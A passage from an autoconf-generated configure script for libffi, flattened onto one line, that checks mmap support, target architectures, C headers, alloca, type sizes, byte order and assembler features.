fi done ac_fn_c_check_header_mongrel "$LINENO" "sys/mman.h" "ac_cv_header_sys_mman_h" "$ac_includes_default" if test "x$ac_cv_header_sys_mman_h" = x""yes; then : libffi_header_sys_mman_h=yes else libffi_header_sys_mman_h=no fi ac_fn_c_check_func "$LINENO" "mmap" "ac_cv_func_mmap" if test "x$ac_cv_func_mmap" = x""yes; then : libffi_func_mmap=yes else libffi_func_mmap=no fi if test "$libffi_header_sys_mman_h" != yes \ || test "$libffi_func_mmap" != yes; then ac_cv_func_mmap_file=no ac_cv_func_mmap_dev_zero=no ac_cv_func_mmap_anon=no else { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether read-only mmap of a plain file works" >&5 $as_echo_n "checking whether read-only mmap of a plain file works... " >&6; } if test "${ac_cv_func_mmap_file+set}" = set; then : $as_echo_n "(cached) " >&6 else # Add a system to this blacklist if # mmap(0, stat_size, PROT_READ, MAP_PRIVATE, fd, 0) doesn't return a # memory area containing the same data that you'd get if you applied # read() to the same fd. The only system known to have a problem here # is VMS, where text files have record structure. case "$host_os" in vms* | ultrix*) ac_cv_func_mmap_file=no ;; *) ac_cv_func_mmap_file=yes;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_mmap_file" >&5 $as_echo "$ac_cv_func_mmap_file" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether mmap from /dev/zero works" >&5 $as_echo_n "checking whether mmap from /dev/zero works... " >&6; } if test "${ac_cv_func_mmap_dev_zero+set}" = set; then : $as_echo_n "(cached) " >&6 else # Add a system to this blacklist if it has mmap() but /dev/zero # does not exist, or if mmapping /dev/zero does not give anonymous # zeroed pages with both the following properties: # 1. If you map N consecutive pages in with one call, and then # unmap any subset of those pages, the pages that were not # explicitly unmapped remain accessible. # 2. If you map two adjacent blocks of memory and then unmap them # both at once, they must both go away. # Systems known to be in this category are Windows (all variants), # VMS, and Darwin. case "$host_os" in vms* | cygwin* | pe | mingw* | darwin* | ultrix* | hpux10* | hpux11.00) ac_cv_func_mmap_dev_zero=no ;; *) ac_cv_func_mmap_dev_zero=yes;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_mmap_dev_zero" >&5 $as_echo "$ac_cv_func_mmap_dev_zero" >&6; } # Unlike /dev/zero, the MAP_ANON(YMOUS) defines can be probed for. { $as_echo "$as_me:${as_lineno-$LINENO}: checking for MAP_ANON(YMOUS)" >&5 $as_echo_n "checking for MAP_ANON(YMOUS)... " >&6; } if test "${ac_cv_decl_map_anon+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #ifndef MAP_ANONYMOUS #define MAP_ANONYMOUS MAP_ANON #endif int main () { int n = MAP_ANONYMOUS; ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_decl_map_anon=yes else ac_cv_decl_map_anon=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_decl_map_anon" >&5 $as_echo "$ac_cv_decl_map_anon" >&6; } if test $ac_cv_decl_map_anon = no; then ac_cv_func_mmap_anon=no else { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether mmap with MAP_ANON(YMOUS) works" >&5 $as_echo_n "checking whether mmap with MAP_ANON(YMOUS) works... " >&6; } if test "${ac_cv_func_mmap_anon+set}" = set; then : $as_echo_n "(cached) " >&6 else # Add a system to this blacklist if it has mmap() and MAP_ANON or # MAP_ANONYMOUS, but using mmap(..., MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) # doesn't give anonymous zeroed pages with the same properties listed # above for use of /dev/zero. # Systems known to be in this category are Windows, VMS, and SCO Unix. case "$host_os" in vms* | cygwin* | pe | mingw* | sco* | udk* ) ac_cv_func_mmap_anon=no ;; *) ac_cv_func_mmap_anon=yes;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_mmap_anon" >&5 $as_echo "$ac_cv_func_mmap_anon" >&6; } fi fi if test $ac_cv_func_mmap_file = yes; then $as_echo "#define HAVE_MMAP_FILE 1" >>confdefs.h fi if test $ac_cv_func_mmap_dev_zero = yes; then $as_echo "#define HAVE_MMAP_DEV_ZERO 1" >>confdefs.h fi if test $ac_cv_func_mmap_anon = yes; then $as_echo "#define HAVE_MMAP_ANON 1" >>confdefs.h fi if test -d $srcdir/testsuite; then TESTSUBDIR_TRUE= TESTSUBDIR_FALSE='#' else TESTSUBDIR_TRUE='#' TESTSUBDIR_FALSE= fi TARGETDIR="unknown" case "$host" in alpha*-*-*) TARGET=ALPHA; TARGETDIR=alpha; # Support 128-bit long double, changeable via command-line switch. HAVE_LONG_DOUBLE='defined(__LONG_DOUBLE_128__)' ;; arm*-*-*) TARGET=ARM; TARGETDIR=arm ;; amd64-*-freebsd* | amd64-*-openbsd*) TARGET=X86_64; TARGETDIR=x86 ;; amd64-*-freebsd*) TARGET=X86_64; TARGETDIR=x86 ;; avr32*-*-*) TARGET=AVR32; TARGETDIR=avr32 ;; cris-*-*) TARGET=LIBFFI_CRIS; TARGETDIR=cris ;; frv-*-*) TARGET=FRV; TARGETDIR=frv ;; hppa*-*-linux* | parisc*-*-linux*) TARGET=PA_LINUX; TARGETDIR=pa ;; hppa*64-*-hpux*) TARGET=PA64_HPUX; TARGETDIR=pa ;; hppa*-*-hpux*) TARGET=PA_HPUX; TARGETDIR=pa ;; i?86-*-freebsd* | i?86-*-openbsd*) TARGET=X86_FREEBSD; TARGETDIR=x86 ;; i?86-win32* | i?86-*-cygwin* | i?86-*-mingw* | i?86-*-os2*) TARGET=X86_WIN32; TARGETDIR=x86 # All mingw/cygwin/win32 builds require this for sharedlib AM_LTLDFLAGS="-no-undefined" ;; i?86-*-darwin*) TARGET=X86_DARWIN; TARGETDIR=x86 ;; i?86-*-solaris2.1[0-9]*) TARGET=X86_64; TARGETDIR=x86 ;; i?86-*-*) TARGET=X86; TARGETDIR=x86 ;; ia64*-*-*) TARGET=IA64; TARGETDIR=ia64 ;; m32r*-*-*) TARGET=M32R; TARGETDIR=m32r ;; m68k-*-*) TARGET=M68K; TARGETDIR=m68k ;; mips-sgi-irix5.* | mips-sgi-irix6.*) TARGET=MIPS; TARGETDIR=mips ;; mips*-*linux*) # Support 128-bit long double for NewABI. HAVE_LONG_DOUBLE='defined(__mips64)' TARGET=MIPS; TARGETDIR=mips ;; moxie-*-*) TARGET=MOXIE; TARGETDIR=moxie ;; powerpc*-*-linux* | powerpc-*-sysv*) TARGET=POWERPC; TARGETDIR=powerpc ;; powerpc-*-beos*) TARGET=POWERPC; TARGETDIR=powerpc ;; powerpc-*-darwin*) TARGET=POWERPC_DARWIN; TARGETDIR=powerpc ;; powerpc-*-aix* | rs6000-*-aix*) TARGET=POWERPC_AIX; TARGETDIR=powerpc ;; powerpc-*-freebsd* | powerpc-*-openbsd*) TARGET=POWERPC_FREEBSD; TARGETDIR=powerpc ;; powerpc*-*-rtems*) TARGET=POWERPC; TARGETDIR=powerpc ;; s390-*-* | s390x-*-*) TARGET=S390; TARGETDIR=s390 ;; sh-*-* | sh[34]*-*-*) TARGET=SH; TARGETDIR=sh ;; sh64-*-* | sh5*-*-*) TARGET=SH64; TARGETDIR=sh64 ;; sparc*-*-*) TARGET=SPARC; TARGETDIR=sparc ;; x86_64-*-darwin*) TARGET=X86_DARWIN; TARGETDIR=x86 ;; x86_64-*-cygwin* | x86_64-*-mingw*) TARGET=X86_WIN64; TARGETDIR=x86 ;; x86_64-*-*) TARGET=X86_64; TARGETDIR=x86 ;; esac if test $TARGETDIR = unknown; then as_fn_error "\"libffi has not been ported to $host.\"" "$LINENO" 5 fi if test x$TARGET = xMIPS; then MIPS_TRUE= MIPS_FALSE='#' else MIPS_TRUE='#' MIPS_FALSE= fi if test x$TARGET = xSPARC; then SPARC_TRUE= SPARC_FALSE='#' else SPARC_TRUE='#' SPARC_FALSE= fi if test x$TARGET = xX86; then X86_TRUE= X86_FALSE='#' else X86_TRUE='#' X86_FALSE= fi if test x$TARGET = xX86_FREEBSD; then X86_FREEBSD_TRUE= X86_FREEBSD_FALSE='#' else X86_FREEBSD_TRUE='#' X86_FREEBSD_FALSE= fi if test x$TARGET = xX86_WIN32; then X86_WIN32_TRUE= X86_WIN32_FALSE='#' else X86_WIN32_TRUE='#' X86_WIN32_FALSE= fi if test x$TARGET = xX86_WIN64; then X86_WIN64_TRUE= X86_WIN64_FALSE='#' else X86_WIN64_TRUE='#' X86_WIN64_FALSE= fi if test x$TARGET = xX86_DARWIN; then X86_DARWIN_TRUE= X86_DARWIN_FALSE='#' else X86_DARWIN_TRUE='#' X86_DARWIN_FALSE= fi if test x$TARGET = xALPHA; then ALPHA_TRUE= ALPHA_FALSE='#' else ALPHA_TRUE='#' ALPHA_FALSE= fi if test x$TARGET = xIA64; then IA64_TRUE= IA64_FALSE='#' else IA64_TRUE='#' IA64_FALSE= fi if test x$TARGET = xM32R; then M32R_TRUE= M32R_FALSE='#' else M32R_TRUE='#' M32R_FALSE= fi if test x$TARGET = xM68K; then M68K_TRUE= M68K_FALSE='#' else M68K_TRUE='#' M68K_FALSE= fi if test x$TARGET = xMOXIE; then MOXIE_TRUE= MOXIE_FALSE='#' else MOXIE_TRUE='#' MOXIE_FALSE= fi if test x$TARGET = xPOWERPC; then POWERPC_TRUE= POWERPC_FALSE='#' else POWERPC_TRUE='#' POWERPC_FALSE= fi if test x$TARGET = xPOWERPC_AIX; then POWERPC_AIX_TRUE= POWERPC_AIX_FALSE='#' else POWERPC_AIX_TRUE='#' POWERPC_AIX_FALSE= fi if test x$TARGET = xPOWERPC_DARWIN; then POWERPC_DARWIN_TRUE= POWERPC_DARWIN_FALSE='#' else POWERPC_DARWIN_TRUE='#' POWERPC_DARWIN_FALSE= fi if test x$TARGET = xPOWERPC_FREEBSD; then POWERPC_FREEBSD_TRUE= POWERPC_FREEBSD_FALSE='#' else POWERPC_FREEBSD_TRUE='#' POWERPC_FREEBSD_FALSE= fi if test x$TARGET = xARM; then ARM_TRUE= ARM_FALSE='#' else ARM_TRUE='#' ARM_FALSE= fi if test x$TARGET = xAVR32; then AVR32_TRUE= AVR32_FALSE='#' else AVR32_TRUE='#' AVR32_FALSE= fi if test x$TARGET = xLIBFFI_CRIS; then LIBFFI_CRIS_TRUE= LIBFFI_CRIS_FALSE='#' else LIBFFI_CRIS_TRUE='#' LIBFFI_CRIS_FALSE= fi if test x$TARGET = xFRV; then FRV_TRUE= FRV_FALSE='#' else FRV_TRUE='#' FRV_FALSE= fi if test x$TARGET = xS390; then S390_TRUE= S390_FALSE='#' else S390_TRUE='#' S390_FALSE= fi if test x$TARGET = xX86_64; then X86_64_TRUE= X86_64_FALSE='#' else X86_64_TRUE='#' X86_64_FALSE= fi if test x$TARGET = xSH; then SH_TRUE= SH_FALSE='#' else SH_TRUE='#' SH_FALSE= fi if test x$TARGET = xSH64; then SH64_TRUE= SH64_FALSE='#' else SH64_TRUE='#' SH64_FALSE= fi if test x$TARGET = xPA_LINUX; then PA_LINUX_TRUE= PA_LINUX_FALSE='#' else PA_LINUX_TRUE='#' PA_LINUX_FALSE= fi if test x$TARGET = xPA_HPUX; then PA_HPUX_TRUE= PA_HPUX_FALSE='#' else PA_HPUX_TRUE='#' PA_HPUX_FALSE= fi if test x$TARGET = xPA64_HPUX; then PA64_HPUX_TRUE= PA64_HPUX_FALSE='#' else PA64_HPUX_TRUE='#' PA64_HPUX_FALSE= fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 $as_echo_n "checking for ANSI C header files... " >&6; } if test "${ac_cv_header_stdc+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_stdc=yes else ac_cv_header_stdc=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : : else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) return 2; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : else ac_cv_header_stdc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 $as_echo "$ac_cv_header_stdc" >&6; } if test $ac_cv_header_stdc = yes; then $as_echo "#define STDC_HEADERS 1" >>confdefs.h fi for ac_func in memcpy do : ac_fn_c_check_func "$LINENO" "memcpy" "ac_cv_func_memcpy" if test "x$ac_cv_func_memcpy" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_MEMCPY 1 _ACEOF fi done # The Ultrix 4.2 mips builtin alloca declared by alloca.h only works # for constant arguments. Useless! { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working alloca.h" >&5 $as_echo_n "checking for working alloca.h... " >&6; } if test "${ac_cv_working_alloca_h+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { char *p = (char *) alloca (2 * sizeof (int)); if (p) return 0; ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_working_alloca_h=yes else ac_cv_working_alloca_h=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_working_alloca_h" >&5 $as_echo "$ac_cv_working_alloca_h" >&6; } if test $ac_cv_working_alloca_h = yes; then $as_echo "#define HAVE_ALLOCA_H 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for alloca" >&5 $as_echo_n "checking for alloca... " >&6; } if test "${ac_cv_func_alloca_works+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __GNUC__ # define alloca __builtin_alloca #else # ifdef _MSC_VER # include # define alloca _alloca # else # ifdef HAVE_ALLOCA_H # include # else # ifdef _AIX #pragma alloca # else # ifndef alloca /* predefined by HP cc +Olibcalls */ char *alloca (); # endif # endif # endif # endif #endif int main () { char *p = (char *) alloca (1); if (p) return 0; ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_func_alloca_works=yes else ac_cv_func_alloca_works=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_alloca_works" >&5 $as_echo "$ac_cv_func_alloca_works" >&6; } if test $ac_cv_func_alloca_works = yes; then $as_echo "#define HAVE_ALLOCA 1" >>confdefs.h else # The SVR3 libPW and SVR4 libucb both contain incompatible functions # that cause trouble. Some versions do not even contain alloca or # contain a buggy version. If you still want to use their alloca, # use ar to extract alloca.o from them instead of compiling alloca.c. ALLOCA=\${LIBOBJDIR}alloca.$ac_objext $as_echo "#define C_ALLOCA 1" >>confdefs.h { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether \`alloca.c' needs Cray hooks" >&5 $as_echo_n "checking whether \`alloca.c' needs Cray hooks... " >&6; } if test "${ac_cv_os_cray+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #if defined CRAY && ! defined CRAY2 webecray #else wenotbecray #endif _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "webecray" >/dev/null 2>&1; then : ac_cv_os_cray=yes else ac_cv_os_cray=no fi rm -f conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_os_cray" >&5 $as_echo "$ac_cv_os_cray" >&6; } if test $ac_cv_os_cray = yes; then for ac_func in _getb67 GETB67 getb67; do as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh` ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var" eval as_val=\$$as_ac_var if test "x$as_val" = x""yes; then : cat >>confdefs.h <<_ACEOF #define CRAY_STACKSEG_END $ac_func _ACEOF break fi done fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking stack direction for C alloca" >&5 $as_echo_n "checking stack direction for C alloca... " >&6; } if test "${ac_cv_c_stack_direction+set}" = set; then : $as_echo_n "(cached) " >&6 else if test "$cross_compiling" = yes; then : ac_cv_c_stack_direction=0 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $ac_includes_default int find_stack_direction () { static char *addr = 0; auto char dummy; if (addr == 0) { addr = &dummy; return find_stack_direction (); } else return (&dummy > addr) ? 1 : -1; } int main () { return find_stack_direction () < 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : ac_cv_c_stack_direction=1 else ac_cv_c_stack_direction=-1 fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_stack_direction" >&5 $as_echo "$ac_cv_c_stack_direction" >&6; } cat >>confdefs.h <<_ACEOF #define STACK_DIRECTION $ac_cv_c_stack_direction _ACEOF fi # The cast to long int works around a bug in the HP C Compiler # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects # declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'. # This bug is HP SR number 8606223364. { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of double" >&5 $as_echo_n "checking size of double... " >&6; } if test "${ac_cv_sizeof_double+set}" = set; then : $as_echo_n "(cached) " >&6 else if ac_fn_c_compute_int "$LINENO" "(long int) (sizeof (double))" "ac_cv_sizeof_double" "$ac_includes_default"; then : else if test "$ac_cv_type_double" = yes; then { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { as_fn_set_status 77 as_fn_error "cannot compute sizeof (double) See \`config.log' for more details." "$LINENO" 5; }; } else ac_cv_sizeof_double=0 fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_double" >&5 $as_echo "$ac_cv_sizeof_double" >&6; } cat >>confdefs.h <<_ACEOF #define SIZEOF_DOUBLE $ac_cv_sizeof_double _ACEOF # The cast to long int works around a bug in the HP C Compiler # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects # declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'. # This bug is HP SR number 8606223364. { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of long double" >&5 $as_echo_n "checking size of long double... " >&6; } if test "${ac_cv_sizeof_long_double+set}" = set; then : $as_echo_n "(cached) " >&6 else if ac_fn_c_compute_int "$LINENO" "(long int) (sizeof (long double))" "ac_cv_sizeof_long_double" "$ac_includes_default"; then : else if test "$ac_cv_type_long_double" = yes; then { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { as_fn_set_status 77 as_fn_error "cannot compute sizeof (long double) See \`config.log' for more details." "$LINENO" 5; }; } else ac_cv_sizeof_long_double=0 fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long_double" >&5 $as_echo "$ac_cv_sizeof_long_double" >&6; } cat >>confdefs.h <<_ACEOF #define SIZEOF_LONG_DOUBLE $ac_cv_sizeof_long_double _ACEOF # Also AC_SUBST this variable for ffi.h. if test -z "$HAVE_LONG_DOUBLE"; then HAVE_LONG_DOUBLE=0 if test $ac_cv_sizeof_double != $ac_cv_sizeof_long_double; then if test $ac_cv_sizeof_long_double != 0; then HAVE_LONG_DOUBLE=1 $as_echo "#define HAVE_LONG_DOUBLE 1" >>confdefs.h fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5 $as_echo_n "checking whether byte ordering is bigendian... " >&6; } if test "${ac_cv_c_bigendian+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_cv_c_bigendian=unknown # See if we're dealing with a universal compiler. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifndef __APPLE_CC__ not a universal capable compiler #endif typedef int dummy; _ACEOF if ac_fn_c_try_compile "$LINENO"; then : # Check for potential -arch flags. It is not universal unless # there are at least two -arch flags with different values. ac_arch= ac_prev= for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do if test -n "$ac_prev"; then case $ac_word in i?86 | x86_64 | ppc | ppc64) if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then ac_arch=$ac_word else ac_cv_c_bigendian=universal break fi ;; esac ac_prev= elif test "x$ac_word" = "x-arch"; then ac_prev=arch fi done fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_c_bigendian = unknown; then # See if sys/param.h defines the BYTE_ORDER macro. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include int main () { #if ! (defined BYTE_ORDER && defined BIG_ENDIAN \ && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \ && LITTLE_ENDIAN) bogus endian macros #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : # It does; now see whether it defined to BIG_ENDIAN or not. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include int main () { #if BYTE_ORDER != BIG_ENDIAN not big endian #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_c_bigendian=yes else ac_cv_c_bigendian=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi if test $ac_cv_c_bigendian = unknown; then # See if defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris). cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { #if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN) bogus endian macros #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : # It does; now see whether it defined to _BIG_ENDIAN or not. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { #ifndef _BIG_ENDIAN not big endian #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_c_bigendian=yes else ac_cv_c_bigendian=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi if test $ac_cv_c_bigendian = unknown; then # Compile a test program. if test "$cross_compiling" = yes; then : # Try to guess by grepping values from an object file. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ short int ascii_mm[] = { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 }; short int ascii_ii[] = { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 }; int use_ascii (int i) { return ascii_mm[i] + ascii_ii[i]; } short int ebcdic_ii[] = { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 }; short int ebcdic_mm[] = { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 }; int use_ebcdic (int i) { return ebcdic_mm[i] + ebcdic_ii[i]; } extern int foo; int main () { return use_ascii (foo) == use_ebcdic (foo); ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then ac_cv_c_bigendian=yes fi if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then if test "$ac_cv_c_bigendian" = unknown; then ac_cv_c_bigendian=no else # finding both strings is unlikely to happen, but who knows? ac_cv_c_bigendian=unknown fi fi fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $ac_includes_default int main () { /* Are we little or big endian? From Harbison&Steele. */ union { long int l; char c[sizeof (long int)]; } u; u.l = 1; return u.c[sizeof (long int) - 1] == 1; ; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : ac_cv_c_bigendian=no else ac_cv_c_bigendian=yes fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5 $as_echo "$ac_cv_c_bigendian" >&6; } case $ac_cv_c_bigendian in #( yes) $as_echo "#define WORDS_BIGENDIAN 1" >>confdefs.h ;; #( no) ;; #( universal) $as_echo "#define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h ;; #( *) as_fn_error "unknown endianness presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler .cfi pseudo-op support" >&5 $as_echo_n "checking assembler .cfi pseudo-op support... " >&6; } if test "${libffi_cv_as_cfi_pseudo_op+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_as_cfi_pseudo_op=unknown cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ asm (".cfi_startproc\n\t.cfi_endproc"); int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : libffi_cv_as_cfi_pseudo_op=yes else libffi_cv_as_cfi_pseudo_op=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_cfi_pseudo_op" >&5 $as_echo "$libffi_cv_as_cfi_pseudo_op" >&6; } if test "x$libffi_cv_as_cfi_pseudo_op" = xyes; then $as_echo "#define HAVE_AS_CFI_PSEUDO_OP 1" >>confdefs.h fi if test x$TARGET = xSPARC; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler and linker support unaligned pc related relocs" >&5 $as_echo_n "checking assembler and linker support unaligned pc related relocs... " >&6; } if test "${libffi_cv_as_sparc_ua_pcrel+set}" = set; then : $as_echo_n "(cached) " >&6 else save_CFLAGS="$CFLAGS" save_LDFLAGS="$LDFLAGS" CFLAGS="$CFLAGS -fpic" LDFLAGS="$LDFLAGS -shared" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ asm (".text; foo: nop; .data; .align 4; .byte 0; .uaword %r_disp32(foo); .text"); int main () { ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : libffi_cv_as_sparc_ua_pcrel=yes else libffi_cv_as_sparc_ua_pcrel=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext CFLAGS="$save_CFLAGS" LDFLAGS="$save_LDFLAGS" fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_sparc_ua_pcrel" >&5 $as_echo "$libffi_cv_as_sparc_ua_pcrel" >&6; } if test "x$libffi_cv_as_sparc_ua_pcrel" = xyes; then $as_echo "#define HAVE_AS_SPARC_UA_PCREL 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler .register pseudo-op support" >&5 $as_echo_n "checking assembler .register pseudo-op support... " >&6; } if test "${libffi_cv_as_register_pseudo_op+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_as_register_pseudo_op=unknown # Check if we have .register cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ asm (".register %g2, #scratch"); int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : libffi_cv_as_register_pseudo_op=yes else libffi_cv_as_register_pseudo_op=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_register_pseudo_op" >&5 $as_echo "$libffi_cv_as_register_pseudo_op" >&6; } if test "x$libffi_cv_as_register_pseudo_op" = xyes; then $as_echo "#define HAVE_AS_REGISTER_PSEUDO_OP 1" >>confdefs.h fi fi if test x$TARGET = xX86 || test x$TARGET = xX86_WIN32 || test x$TARGET = xX86_64; then { $as_echo 